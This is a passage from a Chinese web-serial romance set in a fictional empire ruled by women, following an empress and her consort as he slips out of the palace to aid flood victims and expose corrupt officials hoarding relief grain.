眼泪是有温度的,渗透过明黄常服,又浸润了丝绸里衣,最后‘落’在了裴源的肩膀上,初时滚烫,烫的裴源心脏一缩,渐渐地,又一片冰凉贴在皮肤上。 裴源只能不停的抚着他的后背,直至男子的呼吸从沉闷变的平缓,最后干脆一歪头,将下巴枕在了她的颈窝里。颇有些恃宠而骄的随意。 裴源看不到他的神色,只在漫长的静默声后,听他的声音响在耳畔:“陛下善藏拙,臣从前都不知,您有这般才情。” 裴源:“……” 此情此景,不说点阁中情话?提劳什子的才情,未免有些不解风情,难怪从前不得宠! 裴源郁闷道:“朕哪里有什么才情,都是背来的。至于从何处背来,原创诗人是谁,朕三言两语也说不清楚。” 陆长行不在追问:“那陛下打算何时‘招揽’这位兜帽诗仙啊?” “齐翁不同意终究是个麻烦,只能再等个时机。”裴源道:“既然是神仙转世,总得有个神技才更能服人。” 说话间,她轻轻挣脱了怀抱,才得以看清陆长行的神色。柳叶眸微微泛红,安安静静地迎着她的视线,眼神里似透着几分幽怨。裴源忍不住抬手去触碰他的眉眼,尽管指腹触碰得极轻,他的眼眸还是微微发颤。最后,她的手指只能沿着眉梢下移,落在那颗朱红小痣上。 那应该是颗泪痣。 “难怪这么爱哭,都是它害的。”裴源道。 陆长行静默几息,负气道:“分明是陛下害的,怨它作何?” 说着转过身,又重新落座在了刚刚的椅子上,拿起案上的诗册继续翻阅起来,一举一动,哪里还有半点哀怨样子? 裴源:“……” 又被他给耍了。 裴源自觉讨了个没趣,于是转身去忙,边走边嘀咕说:“朕以后万万不敢再惹你了。” 陆长行嘴角微扬,言说不清是得意还是开怀,只道:“凡事再一再二不再三,臣下次不用这招了,陛下放心。” 小凤帝冷哼一声,见墨迹已干,直接菊花茶倒入了砚台少许:“白茶红茶就很好,下次别费心弄这些花茶了,味道奇奇怪怪的,喝不惯。” 柳叶眸微抬,落在远处凤案后的女子脸上:“绿茶也不喜欢了?” 墨块窸窣声里,小凤帝的声音淡淡道:“喝了心慌手抖,不知何故。” 陆长行眉宇紧蹙,裴源从前最爱饮茶时放入干花,就算记忆有失,口味怎还发生了改变? 实在奇怪。 念此,他随手放下诗册,起身阔步行至凤案边,女子似有预料,直接将手递给了他。 冰凉的指尖贴着腕上跳动的脉搏,殿中静谧无声,只有男子的眉头越蹙越紧,片刻后凝着女子:“臣失礼。” 裴源尚未参透他的用意,就见他的手骤然上移,于臂间停驻。随着拇指轻轻摁下,心口竟骤然生出一丝痛意,本就冷白的面容瞬间更添几分苍白。 陆长行急忙收手,女子也在短暂的平复后问他:“是……中毒了?” 见其额前发丝有些散乱,陆长行伸手捋顺的同时,语意轻缓温柔:“陛下不必忧惧,臣为你调养一段时日便会无碍。” 裴源不知他这话是在安抚,亦或是她本就无碍,只知当晚的御膳口味有变,似换了新厨,追问时,乌宛白脸色耐人寻味:“御膳房的宫人因小事闹了龃龉,不知怎地的就传到了君后耳中,君后一怒之下,命人将那几个闹事的尚宫给打死了。” 乌宛白的声音轻飘飘的,宛若御案上飘荡的氤氲热气,飘在空中,最后皆化作了虚无。 裴源也在短暂的愣怔后,淡淡道:“确实该死,朕都不敢惹君后不愉,几个狗奴才,凭什么。” 最后一口汤入喉,裴源没来由的感觉胃中翻涌,却强压着恶心:“赏。” 乌宛白一愣,旋即明白所赏之人是今日的新厨,乖觉的替她们谢了隆恩,拧了温热的帕子递到小凤帝的手里。 侯在紫宸殿外的凌小可这才端着托盘,躬身步入了殿中,小凤帝随手就将帕子扔在了她的托盘里:“南边的百姓正处于水深火热之中,朕哪有心思开枝散叶?不召。” 凌小可置身未动,一脸愁容:“陛下,您已经快十天未召后君侍寝了,如此下去,奴婢不好和各君交待呀。”说着,竟隐约带了哭腔:“求陛下怜惜怜惜奴婢吧。” 裴源嘴角微抽:“怜惜你?好啊!”裴源看着乌宛白:“把凌尚宫洗干净卷成卷儿,晚点送到朕的榻上来。” 乌宛白:“……” 凌小可碰的一声磕了个响头:“奴婢该死,奴婢失言!” 裴源懒的理会,起身进了内殿,听见乌宛白低声道:“糊涂东西,快退下吧。” 裴源倚在窗前瞧的清楚,凌小可愁眉苦脸的走了,憨态可掬的模样逗笑了裴源,乌宛白奉茶而入时,不自觉也跟着笑。 裴源不禁问道:“你笑什么?” 乌宛白垂眸道:“奴婢见陛下笑了,心中开心,便也笑了。”说话间,人已行至方台前,躬身奉茶:“姜茶最能缓解恶心,陛下饮一杯吧。” 姜茶辛香气味已然缓解了刚才的不适,裴源接过茶盏随口放在窗台上,任风吹着茶气:“你呀,眼睛太毒,朕都担心哪一日你倒戈他人时,轻而易举就能载到你的手里。” 乌宛白脸色巨变,想也不想跪地道:“奴婢该死!” 裴源蹙眉,不解看她:“哪里又该死了?” 乌宛白正色道:“让陛下对奴婢有所疑虑,奴婢该死!” 裴源:“……” 裴源无语道:“朕只是随口开个玩笑,你们一个二个的,总这么紧张做什么?” 乌宛白不知怎么解释,她只知道凤帝从前不喜多言……更不会随随便便的跟奴才开个玩笑。 虽然是同一个人,同一张脸,可如今的凤帝似愈发鲜活了起来。 不再那么死气沉沉、冷若寒霜,虽大多时候还是不苟言笑,可一举一动却惹人怜爱。 “奴婢永远不会背叛陛下。”乌宛白一脸正然,似在宣告着某种神圣的誓言:“若违此誓,天打雷劈。” 第34章 第34章晋江文学城 “永远……” 明日的事尚且难以掌控,她又怎会轻信“永远”二字。 裴源伏靠竹窗,目光遥向夜空,声音轻若游丝,仿若幻影,乌宛白听得极不真切,只原地候了片刻,见其无任何指使,便悄然退下。 月挂中天时,清风拂窗而入,将沉溺在清梦里的凤帝唤醒。她微微动了下身子,四肢的酸胀瞬间生出酥麻之感,不禁轻哼出声,惊扰了一旁刺绣的男子。 陆长行急忙放下手中针线,执起她的手摁压穴位。须臾,裴源恢复如常,却依旧任由他揉捏手臂:“君后怎会来此?” 陆长行同样侧倚竹窗,姿态闲适,闻言,眼神缱绻的望向她:“臣思念陛下,夜不能寐,故不请自来,还望陛下恕罪。” 这话实在荒诞,裴源笑得身子微颤,披在肩上的薄毯滑落而下。陆长行拾起重新为她披在肩上,语气略带气闷:“臣的话竟如此可笑?” 裴源拢了拢薄毯,虽已醒来,但困意犹存,干脆倒入君后的怀中:“君后妙于心计,巧于言辞,戏弄朕如戏耍猫狗一般。朕才懒的回应你,万一又把你惹哭了,苦恼的还是朕。” 陆长行苦笑:“……臣哪里敢。” 陆长行调整姿势,由她躺的舒服一些,而后一拂袖熄灭了窗上的烛台,室中仅剩下柔和的月光洒入。 陆长行一颔首,就见怀中女子一脸恬静,实在忍不住伸手,沿着她的眉眼、琼鼻轻轻描绘:“陛下真好看,五官精致,般般入画,如同天宫仙娥。” 裴源又是轻笑:“你今日晚膳吃蜜了?哪里就像仙娥了,说的好像你见过一样。” 陆长行挑眉:“臣初见陛下,便觉惊为天人,自此,天宫仙娥的样貌便在臣心里有了轮廓。” 裴源无语:“你就胡扯吧,那年朕才十岁,像飞蛾还差不多。” 陆长行正色道:“臣说的是真的。” 裴源懒的争论此事,侧身面向他的胸膛:“你这么晚过来定然有事,直说吧。” 指尖落空,陆长行不免失落,只能去揉捏着她的耳朵:“陛下今日说神迹一事,臣刚好有个主意。” 裴源这才有了精神,只是耳朵被他捏的发烫,于是将他手握在掌心:“说来听听。” 女子的手很暖,暖意从掌心蔓延心田,激起层层涟漪,陆长行缓了缓情绪:“如今南边洪灾泛滥,赈灾银沉没湖中。除了疫情一事,南边的灾情几乎与臣之前推测的一般无二。” 裴源拇指摩挲着他的掌心,良久的沉思,开口:“你想借疫情一事做文章倒是可行,可文昌帝君管的是文运,与疫情……八竿子打不着啊?” 陆长行眸色微深:“既是神仙入仕,自要有些超乎于常人想象的能力。天降异像,布施恩露,疫病未经散而自愈;被洪灾冲毁的粮仓一夕之间复生干粮。这不正是神迹之像?届时,将文昌帝君的恩泽传入京城,这不都成了帷帽诗仙的功德,齐翁纵然反对,也抵抗不了民意啊。” 裴源想了想:“你说的玄之又玄,非人力可为。就算想到应对之法,就陆萧玉那个榆木脑袋,也不一定能做到。” 陆长行:“臣可以。” 裴源一愣,偏头看向他:“你还会仙术不成?” 陆长行眨了眨眼:“仙术不通,略通控蛊之术。若陛下信得过臣,臣即刻出发,定将此事办成。” 裴源想也不想拒绝:“不行!南边现如乱世一般,朕的名声在那边和猪狗无异!你一个男人过去,万一泄露了身份,发生什么危险朕都不敢想。” “陛下~”陆长行安抚道:“那么多百姓子民处于水火,陛下如何忍心?” “说不行就不行!”困乏之感瞬间消散,裴源负气起身,翩然走下方台:“你不必巧言令色,朕乃九五之尊,说的好听是君临天下,实则统御百官都做不好。百官督吏不及、吏护百姓不周、最后,百姓只能辱骂君王出气。这才是层层分明的天下之序。至于那‘神仙打架,小鬼遭殃’的事,自古已然,今亦如此,朕也无可奈何!” 陆长行追下方台,拉着她的手,声音哽咽:“陛下……” 裴源厉色道:“又要装哭?再一再二不再三,你自己说的。” 陆长行:“……” 裴源似想到了什么,一把挣脱了他的拉扯行至殿外,倚着门框昏昏欲睡的乌宛白被吓的一颤,就听凤帝气呼呼道:“天亮就将狗洞给朕堵上!” 乌宛白:“……?” 虽一头雾水,但点头应是。 而后就见凤帝一把将君后拉回了殿内。 乌宛白越发糊涂,侧耳听到凤帝怒言:“别以为朕不知道,你想趁着天还没亮爬狗洞出去。朕偏不合你意!” 乌宛白:“……” 陆长行更是无语:“臣就不能有个体面一点的出宫方式吗?” 凤帝哼道:“朕都没有,何况君后!” 陆长行抿了抿唇:“好吧。” 裴源负气上榻,静默良久后,陆长行依旧侧立榻旁,气闷道:“还不上来,等朕抱你啊。” 陆长行无奈扶额:“陛下如今是越来越孩子气了。” 裴源又是一声冷哼,指着上天道:“孩子气怎么了?朕是帝王,就算发疯你也得哄着。” 说着,负气转过身,主打一个眼不见心不烦,却听身后传来窸窣声响,不过片刻,自己便被陆长行小心翼翼拥入怀中。男子侧卧前,还不忘在她脸颊印下一吻,安抚声更如春柳拂过地面,轻轻落入裴源的耳中:“臣知错了,陛下别生气了。” 裴源未做回应,只是缓缓展露出笑颜。 事后回想,她笑的有些早了,因为当日散朝后,便在凝辉殿的奏本中,发现了陆长行的书信。 【臣与陛下相识数载,朝夕相伴,深知陛下忧国忧民,心系苍生。如今南方水患肆虐,百姓流离失所,家园尽毁。若是天灾,尚可怨天尤人;然此水患,实乃人祸促之,实在令人悲愤,若不能治罪魁之罪,天理不容。 臣与陛下同心同德,不忍见黎民百姓身处水火,受此无妄之灾。臣愿为陛下分忧,故扮作宫侍,悄然混出皇宫,前往南方查探灾情,助力赈灾。臣虽才疏学浅,但自幼习武,且有号令百虫之能,可驱使虫豸为臣所用,此行定当无生命之虞。 待灾情缓解,臣自当归与陛下磕头请罪。愿陛下保重凤体,勿念。长行留。】 凝辉殿静默数息,后,帝王雷霆一怒,凤案清空,满地狼藉。 乌宛白瑟瑟入殿捡拾奏本,小凤帝阴沉之语居高落下:“朕,再也不理他了,说到做到。” 乌宛白:“……” 当真是……好恐怖的责罚。 依祖制,君后擅自出宫,德行有亏,当废除君后之位,长居冷宫。 前提是这祖制,需得帝王遵守,否则,如废话无异。 那之后的几天,小凤帝似再也没笑过,整日里面容冷峻,批阅南边递上来的折子。每批复一份,脸色便愈发凝重一分,宛若乌云层层笼罩。 沉没的银舟打捞 屡屡失败,附近的粮仓又接连被洪水淹没,奏折内容无非是诉苦连天,讨要银两、讨要灾粮。 每每此时,户部叫苦,太府寺哭穷,齐翁的谋略与权柄再厉害,如今也彻底没了用武之地。裴源更是难抵压力,怒斥道:“户部掌管全国税粮,太府寺掌管着国库钥匙。寻常人家的夫郎尚且知道攒些体己以备不时之需,你们吃着皇粮,拿着俸禄,到了关键时刻,却只会回朕一个‘空虚’!连普通民夫都不如,朕养你们这群废物有什么用!” 早朝再一次不欢而散,回凝辉殿的路上,摩挲着黑玉扳指的凤帝忽而低语:“朕也好想出宫,亲自去南边看看。” 她的声音带着几分疲惫与冷漠,乌宛白颔首贴着御撵而行,小声安抚道:“春雨惊春清谷天,夏满芒夏暑相连。立夏近在眼前,万物至此长大。虽南陵郡等地遭此劫难,可我朝幅员辽阔。陛下圣明,必能妥善安排多多照应,奴婢相信,南陵郡的民生很快就恢复如常。” 裴源垂下眼眸,视线落在乌宛白的脸上:“乌尚宫留在朕身边真是屈才了,若朕给你一州刺史之位,朕相信,你定会做的南陵刺史好上千倍万倍。” 乌宛白一愣,心知是陛下随口之言,故而讪笑道:“奴婢多谢陛下谬赞。” 裴源也微微一笑,目光狡黠:“可朕舍不得乌尚宫,才不会放你出宫呢。” 乌宛白又是一愣,讪笑变的开怀了几分,正欲回些什么,余光瞥见一抹月白身影,急忙收敛笑容,余光瞥向来人。 “臣,见过陛下。” 裴源凝视着御撵下跪着的月白锦袍,眸色中凝出几分寒意。片刻的平复之后,方才若无其事的开了口:“文侧君近来惫懒,一晃儿,朕竟好久未见你了。” 柳玉书心中紧张的情绪似被凤帝这句话安抚了几分。他缓缓抬眸看向凤帝,须臾之后,又不自觉地看向她扶着御撵的手,低声回道:“臣那晚误伤凤体,心中惴惴不安,实在无颜面圣。今日得见天颜,当面请安,便已心满意足。” 言罢,他侧身退了退,颔首恭敬道:“臣,恭送陛下。” 第35章 第35章晋江文学城 烈日当空,柳玉书跪立未久,青丝便被炙热的阳光炙烤得滚烫,高踞御撵之上的凤眸俯视而下,更令他如芒在背,局促难安。 时间在此刻成了模糊的概念,他只听到自己的心跳咚咚作鼓,面颊宛如火烧。 柳玉书此刻的心绪有些复杂,既想寻个地缝钻进去,又隐隐期盼着一些什么。 终于,御撵缓缓落下,不过数息之间,凤帝明黄的裙角便映入他低垂的眼帘,与此同时,一只白皙的手递到了他面前:“天热,跪久了头晕,文侧君快起来吧。” 短暂的愣怔后,柳玉书如坠迷雾一般,将手落入了凤帝的掌心,由着她拉扶自己起身。 男子掌心洇湿,裴源极力克制,还是因黏腻的触感蹙起眉头,只能状似无意的与之闲聊起来:“最近在忙什么?” 柳玉书任她牵着缓慢前行,交织在一起的手似夺走了他所有的思绪,只如实道:“深宫寂寥,除了看书下棋,臣也不知要忙什么?” 裴源感同身受:“深宫锁步,未尝不是一种刑罚。”她默了默:“入宫前可有喜欢做的事吗?” 柳玉书稍许愣怔,颔首道:“南市有家戏楼,臣是那儿的常客。” “喜欢听戏?”裴源笑笑:“可惜了。” 柳玉书不解。 裴源道:“你若是个女子,大可办成宫女模样,日日陪朕上朝。宣政殿的文武百官各个都是台柱子,戏幕演的那叫一个精彩。” 柳玉书:“……” 裴源又问:“除了看戏,可还有喜欢做的事吗?” 柳玉书沉吟片刻,微微摇头:“臣是个无趣之人,除此之外,的确没有想做之事。” 裴源不禁想到了他的母亲柳文澜,是个循规蹈矩、严谨治学的老学究,柳玉书性情受母亲影响,倒也不足为奇。 可裴源还是说道:“往往那些惊世骇俗之事,都是平素安分守己的老实人做的。你如今说没有想做的事,不过是因为还未曾真正接触过罢了。” 柳玉书不置可否。 红墙两面,夹着一丈宽的青石板路,生活在后宫的人,每日总要走上几个来回。平日里,柳玉书总觉得这条甬道很长,长到看不到边界,行不到尽头,可今日,不过几句话的功夫,就到了去往凝辉殿的角门。 牵在一起的手松开,似抽走了柳玉书的一丝心脉,瞬间空落落的,他颔首垂眸,想要从容告退,但开口时竟隐隐透出几分哽咽。 裴源闻声一拂手,乌宛白便带着人走远了。 她上前一步,替低垂的男子理了理并未凌乱的衣襟,轻语安抚道:“你性子要强,也有点别扭,这点儿和柳博士很像,朕尊重你的傲骨和清高,只是你想的过多,久了久之,心绪便成了乱麻,解不开,理不顺,便会郁结于心。那晚的事儿过了就过了,你又何必纠结一件朕根本不在意的事?” 柳玉书缓缓抬眸,眼眶微微泛红,眼底泛起水汽:“臣多谢陛下宽慰。” 裴源不自觉回想起初见他时,那双清澈的双眸而今竟染上了一缕哀色:“说到底,那夜还是朕误会了你。这样吧……” 她拍了拍他的肩膀:“天儿不错,朕派几个宫人陪你出宫散散心,就当朕给你赔不是了,可好?” 柳玉书愣了愣:“真、真的可以吗?” 裴源点头:“当然。想家了便回家看看,想看戏便去看戏,只要低调一些,不暴露自己的身份即可。” 柳玉书终于展露笑颜:“多谢陛下。” 目送柳玉书的远去,裴源方才从袖口取出一方素白帕子,仔细擦拭着手心,边走边道:“月白袍不衬他的气色,晚点你命内秩署赏些料子给他,再将朕私库的那方棋盘一并带去。” 乌宛白躬身应是,并随手接住了凤帝扔过来的素帕,嘱咐声再次落入耳畔:“他心思细腻,你亲自去送,免得内秩署说了不该说的,枉费了朕的心意。” 乌宛白顺手将素帕塞入袖口:“奴婢省得,陛下放心。” 更多内.容请]搜索[频道:.// *** 京城艳阳高照,南陵郡亦是晴空万里。 头顶烈日炎炎,脚下泥泞不堪。才走了没多远,便已是大汗淋漓,分不清是热气蒸腾,还是泥水升空的潮气。好不容易找到一处破庙可以歇脚,可才一推开庙门,一股恶臭便扑面而来。 连日的洪浪湍急,地势低洼的周边县城不仅田地被淹没,房宅也被冲毁。百姓们只得收拾家底,奔赴南陵郡。 一则,这里能先一步领到朝廷的救济银两,解燃眉之急;二则,若能寻到便宜房产,也能就地安家。 然而,百姓结伴而来,南陵郡一夜之间人满为患。莫说安家,如今连入城都要历经层层关卡,城外那些暂能遮风避雨的地方,都成了百姓的落脚地。 这两日天气炎热,从后院茅房飘进来的恶臭在殿内经久不散,再加上虫豸肆虐,不过两日,人的脸色便变得蜡黄,看起来病恹恹的。 陆萧玉一行人也显得十分狼狈。纵然泥巴裹满衣裙,却也难掩布料精致。百姓们眼尖,一眼便瞧出这一行人身份贵重,不自觉地将目光落在了她们的行李上。 洪浪突袭,粮食所备不足,连日奔波与滞留,干粮早已见底。不顾面子的娘子早已忍不住上前询问:“老乡,有吃的吗?匀一口就行,家夫刚生产完,饿了两日,实在没奶喂孩子。” 陆萧玉顺势望过去,角落里面黄肌瘦的男子正眼巴巴的看过来,怀里的孩子十分安静,许是饿的没了力气哭泣。 陆萧玉心生恻隐,正要取干粮递过去,却听陆长行抢先道:“一路周折,干粮也吃完了,不过我略通推拿之术,你家夫郎若信得过我,我可帮他催一催。” 那娘子愣了一下,眼睛一转,了悟,急忙去扶自家夫郎过来,对着头戴帷幕的陆长行道:“那就有劳公子了。” 陆长行微微点头,对着陆萧玉道:“寻个毯子遮一下,再去烧壶热水。” 毯子挂在角落,形成了一处隐蔽之地,确保无人窥见,陆长行才从怀里掏出了一张干饼给了民夫,民夫瞬间泪如雨下,却也不敢声张,狼吞虎咽的吃完了一张饼子,差点噎的不能呼吸。 彼时,热水也送了进来,陆长行将干饼浸润其中,待干饼成了糊糊状,才吹凉放到了孩子嘴边,吸吮天性使然,沉睡里的孩子瞬间吮了米糊,声音引来了其他百姓的注意,胆子大的直接走过来翻起了地上的包袱。 凤鸣卫巴馨见势,上前相阻:“你干什么!” 那娘子脸皮也厚,被呵斥了不怒不恼,相反嬉笑道:“俺就是看看,这大包小包的都是什么呀?” 陆萧玉眸色微沉,起身时却露出一脸自如,主动打开了包裹,露出了里面大大小小的纸包:“药材。” 那娘子拿起一包闻了闻,确认时药材后,又不甘的看了眼挂起了毯子,内心进行了一番思量,到底不好意思和婴孩抢吃的,只能失望的退回了原位。 人群里的另一波人却跃跃欲试:“有跌打药吗?”一位娘子步履蹒跚,勉强站起,指着自己腿上伤口道:“我愿出钱买些。” 那伤口深且长,因未及时处理,早已腐烂不堪,周围一片青紫,令人心惊胆寒。 陆萧玉不通医术,只得回头望向角落:“少爷?” 陆长行将面糊递给身旁男子,才掀开毯子,远远瞥了一眼伤口:“你这伤口早已腐败,得剐了腐肉,再重新上药,不然这腿怕是要保不住了。” “什么?”那娘子本就蜡黄的面色瞬间惨白如纸。 周围众人皆倒吸一口凉气,窃窃私语:“这得多疼啊……” 陆长行只问:“要治吗?” 娘子迟疑片刻,低声说道:“我身上仅有几枚铜板,恐付不起公子诊金。” 陆长行神色如常:“天灾无情。我等流民,更当守望相助。我虽无口粮供诸位果腹,却愿意为诸位免费看诊,只要诸位信得过我。” 娘子闻言急忙点头:“信得过,信得过。” 庙中流民身体不适者听闻一拥而上,原本死气沉沉的气氛,稍多了些鲜活气氛,自也有人议论起这场洪灾。 “往年也有连续暴雨的情形,偏今年发了洪灾,有人说:是帝王德行有亏,因而糟了天谴。” 忙前忙后的陆萧玉听到此处脸色一沉:“若是凤帝德行有亏,就该去惩治凤帝,她若真糟了天谴,天雷也该劈向京城,而不是南陵郡!” 百姓自有百姓的见解:“那是因为京城有凤威压制,因而这雷劈偏了,南陵这才遭了殃。” 陆萧玉面色愈发阴沉,冷声道:“荒谬!分明是南陵衙门暗中篡改青云湖河道,致使湖水强行流入化常河。化常河本是一条小溪,骤然涌入大量湖水,焉能不溢出?水溢之后,倒灌田地,摧毁民宅,这才南陵洪灾真相,与凤帝何干?” 破庙中沉默几息,有人不禁嘀咕道:“我就是个粗人,不懂什么改河道的事儿。就算真是改河道导致的洪灾,刺史哪来的胆子做这种事?她难道不怕被砍头吗?” “就是啊,”另一个人附和道:“哪个当官的敢不听凤帝的?照我看,这事儿八成就是凤帝的主意。” “对,就是凤帝的主意!”又一个百姓语气笃定道:“我听说凤帝痴迷那种逆天改命的邪术,她以为改了河道就能改运。说不定,我们这些无辜百姓,都被她当成了祭品。” “我也听说了,说凤帝的皇位不正,先帝都是惨死在了她的手里。先帝不甘,化作厉鬼夜夜纠缠她,凤帝吓得不行,就整天不干正事,到处找那些会邪术的人帮她改命,还用邪法去镇压先帝的鬼魂,真是个不孝女!” 眼见流言越来越荒谬,陆萧玉气的嘴角颤抖,僵紫的脸憋了半天,才说出一句:“你、你们……简直一派胡言!” 陆长行却显得格外冷静,一面耐心给百姓诊治配药,一面细心叮嘱,听到此时,方才淡淡开口:“我们此行恰从京城顺着青云湖一路南下,河流虽湍急,一路上倒也有惊无险,可前我们几日南下的漕运银舟便惨了,一个风浪过来,朝堂运往南陵二十万的赈灾银,全部沉没。至今未打捞上岸。” 破庙中一片唏嘘。 陆长行又道:“我们在青云码头下船,又听闻十数粮仓全部淹没,我觉得奇怪,这化常河分明在青云码头的下游,如何能淹没上游的粮仓,于是我们便悄悄混入了税粮库,结果你们猜怎么着?” 众人纷纷望向头戴帷帽的陆长行,虽看不清他的面容,可就觉得这男子所言非虚。 陆长行也不打哑谜:“衙门口中被淹没的粮仓,根本就没有粮。” 百姓纷纷追问。 陆长行轻飘飘道:“当官的害怕凤帝是不假,可还有一句老话说:天高皇帝远,南陵郡距京千里,凤威再大也架不住当地官员同流合污不是?” 他略略停顿,给了众人反应时间,继而又道:“小弟不才,家中正是做药材生意的,这青云湖的客船,我每个月都要做上两次。有次亲眼得见一娘子不慎将一块玉坠入了湖中,因那玉是家中祖传,意义非凡,故而花重金寻了几个艄公下湖打捞,过程虽有周折,倒也圆满。一块玉尚且能寻到,而今,这二十万的赈灾银连船带银子全部沉没,可官府一连打捞了数日,竟都无果?你们说说,这扯不扯?” 第36章 第36章晋江文学城 破庙有医郎免费看诊的消息不胫而走,不过一日的光景,周遭流民纷纷涌来,头疼脑热的患者都得了药,其他症状的病患也纷纷得了方子。 医郎身边的长随是个有本事的女人,太阳西落后,带着几个护卫出去了一趟,回来时,竟带回了两袋子粟米,连夜熬了两大锅的稀粥分给了众人。 饿了几日的流民宛若枯草遇见了甘霖,饱餐一顿后,又开始担忧起了明日。 “今日城门贴出告示,朝廷的赈灾银粮迟迟未至,城中粮食已然耗尽。为防横生事端,刺史下令暂封城门。” 说话的是个颇有年纪的长者,略通笔墨,跟在陆长行身边帮着写药方子,听闻在下县私塾中教书,姓石,众人尊她一声:石师仪。 石师仪言此轻叹了一声:“天气炎热,流民越来越多,三五日倒好应对,长此以往,怕是要出事。” 身边的几个娘子都是热心肠,白天帮着熬药,晚上帮着煮粥,心思纯良,似没什么坏心眼,就是脾气有些急,闻言,便又开始骂起了刺史不作为,骂起了凤帝只顾自己享乐,罔顾百姓生死。 石师仪似已看透世事,未顺着众人的话头,反而沉声打破了杂乱的讨论:“事已至此,多说无疑。还需想想当下如何应对才好。” “石师仪说的对,”一娘子手持木棍,颔首在地上画着无意义的图案:“太阳会照常升起,这么多张嘴明日也还要吃饭,城进不去,流民只会越来越多,难保不会横生枝节。” 咒骂声就此停歇,围坐的几人除了叹息声,每个人都显得格外安静。 破庙的角落里,药碾子的窸窣声响不歇,隐隐飘出的血腥味引起了林宁的注意,他偏头望过去,医郎的手心正往下滴着血,不由紧张道:“公子歇会儿吧,手磨出了血了。” 陆长行端坐一旁,来回滚着手中的碾轮,林宁看不见他的容貌,只听清冷之音从帷帽中传出:“天热,人又多,需抓紧制些清热解火 的药丸出来,以防中暑。” 陆长行拒绝了林宁的帮忙,任掌心的血流入碾槽,襻膊束着碍事的长袖,露出男子白皙的腕子,古朴的银镯在腕间摇晃时,竟又细沙般大小的子粒悄然掉入药槽。 林宁以为自己眼花,揉了揉眼睛,又低头为襁褓中的婴儿擦去头上的汗珠,才看向人群中的妻主。 妻主虽没什么学识,但性子沉稳,脑子也活络,静坐在原地沉吟了良久,起身悄然凑到了陆萧玉的身侧,小声道:“陆姐,我曾在码头做过苦力,认的装这些栗米的袋子。” 陆萧玉脸色登时一变,紧张道:“我也是为了大伙儿,否则才不会干这些偷鸡摸狗的勾当,那袋子都烧干净了,你也别妄想着害我!” 她的声音很小,只是太过紧张,反而引起了身边几人的注意。 逄蕊急忙解释道:“陆姐误会我的意思了,我的意思是……”她默了默,干脆看着周围几人:“我就直说了吧,那袋子是装税粮的。” 几人皆是面色一震,纷纷看向逄蕊。 逄蕊继续道:“衙门说码头的几个税粮仓全部淹没,可陆姐她们瞧过,仓里没粮,如今陆姐又带回来两袋子干粮……剩下的就不用我明说了吧?” 几人面面相觑,脑子转的快的明白了,有些脑子的笨的,则拉着身边人追问。 石师仪好像早就看出了所以然,只等有人提及,苍老的声音里携着几分厚重的稳妥:“陆娘子知道衙门将税粮藏在了何处,这两袋子是她们偷出来的。” 几人一时惊愕,似又有些愤慨。 “为了一己私利,这些当官的宁愿把粮食藏起来,也不放粮食赈灾,眼睁睁瞧着这么多人饿肚子?她们还是不是人呐!” “就是!这群杀千刀的,就该千刀万剐!” 眼见众人越来越愤怒,逄蕊道:“现在不是说这些的时候。”她环视众人,正色道:“我适才思量许久,心中倒有个主意,只是我一人势单力薄,难以成事,还需大伙儿齐心协力才行。” 几人纷纷看向她,催促道:“都这个时候了,还有啥藏着掖着的,快说罢。” 逄蕊这才正色道:“朝堂上的章法我也不甚清楚,但从今日那告示来看,南陵刺史怕是打定主意不管咱们这些穷苦百姓了。如今这破庙里的人一日比一日多。陆姐她们今日运气好,偷出了两袋粮,可明日后日呢?万一她们清点时发现了疏漏,对粮仓严加看守,再去偷粮被抓,那可就不仅连累了陆姐,咱们怕是只有挨饿的份了。” “是这个道理。”几人点头附和。 逄蕊又道:“虽说凤帝不干正事,但我想着,凤帝每天锦衣玉食,无论如何也瞧不上咱们这些粟米。我看此事就是南陵这些贪官的主意。” 几人不语,只是默默点头。 她看向陆萧玉,目光坚定:“陆姐,此事如今只有咱们几人知晓。你不如把藏粮的地方说出来,咱们一块儿鼓动大伙儿一起把这事闹大,再把她们可能贪污税银的事坐实,努努力将此事传入京城凤帝的耳中!这样一来,既能解决咱们的燃眉之急,也让这些贪官污吏受到应有的教训!” 几人纷纷点头:“逄蕊说的对,或许凤帝知晓此事后,一怒之下会砍了这些贪官的脑袋呢!” 眼见几人越来越亢奋,陆萧玉却显得十分为难,犹豫良久后,才道:“那你们可千万不能告诉别人是我说的,万一连累我们东家遭人报复,我岂非罪人了?” 见几人接连立誓,陆萧玉方才招了招手,轻语道出了藏粮之地…… 南阳府。 尚未立夏,但已有蝉虫破土,锐利的鸣叫声扰人清梦。 南阳王裴若从早起便心绪烦乱,温热的帕子刚接在手里,一眼瞥见门外匆匆而来的戴玥。 “王卿!”戴玥一袭夜行衣尚来不及换,抱拳道:“出事了!” 裴若似早有预感,慢条斯理地拭手,语气淡漠如冰:“那虫疫毒性甚烈,若无事才怪。”说罢,随手将帕子扔给了下人,冷声道:“说说吧,死了多少人?” 戴玥面色微变,偷瞥裴若一眼,慌忙低下头,终究硬着头皮回道:“回王卿……虫疫未曾爆发……” 裴若猛地看向她,眸光骤然一凛,眼神里透着几分狠厉:“你胡言乱语什么?” “卑职未曾胡言。”戴玥抬头看向南阳王,虽心怀畏惧,却仍壮着胆子道:“不仅虫疫未曾爆发,就连码头那几处隐蔽粮仓也被一群流民误打误撞的发现了,消息传的飞快,滞留在南陵郡城外的流民几乎蜂拥而至,看守眼见不妙,急忙遣人回禀。谁料那司马参军竟如此愚钝,竟带了一队衙役大摇大摆的前去镇压。流民立时明白这是官府私藏的粮仓,愤慨异常,双方直接打作一团,司马参军还被流民擒获,如今流民嚷着要带她上京告御状呢!” 许是气怒,亦或是愤然,裴若只觉一股热血自心肺直冲头顶,脑中霎时一片空白。良久,才渐渐回过神来,心中既不甘、愤怒,又十分不解:“怎会如此?怎会如此?” “王卿,此时不是计较这些细节的时候。”戴玥急道:“朱秋华必是活不成了,与其等她被押解入京攀扯王卿,倒不如王卿当机立断给她个痛快。无论如何,先将南阳府从这漩涡中摘出来才是正道!只要南阳府稳住,一切尚有转圜余地。” 裴若沉默数息,努力压制心头翻涌的怒火,一番沉吟,沉声道:“苗翎谷的疫虫一旦染上,传播迅猛,除了豢养者几无可解!怎会连爆发也无?此事听起来实在蹊跷,若是天意,一个南陵刺史死不足惜;若是人为……此时刺史府定有人蹲守,我们急于灭口,反落得‘自投罗网’的下场!” 戴玥蹙眉,一脸愤然道:“何人如此歹毒?” 